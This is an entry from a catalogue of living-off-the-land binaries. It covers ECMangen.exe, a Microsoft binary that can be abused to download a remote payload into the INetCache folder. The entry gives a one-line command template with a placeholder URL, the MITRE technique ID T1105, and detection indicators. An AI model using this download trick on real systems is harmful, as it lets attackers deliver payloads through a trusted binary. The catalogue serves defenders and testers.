LOL · OtherMSBinary

ECMangen.exe

1 technique WindowsLOLBAS GPL-3.0

Download

File Download Windows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache

ECMangen.exe {REMOTEURL}

Context: user
Native: Download
MITRE: T1105
Detection: IOC: URL on a ECMangen command line
IOC: ECMangen making unexpected network connections or DNS requests
Refs: lolbas-project.github.io/lolbas/OtherMSBinaries/ECMangen/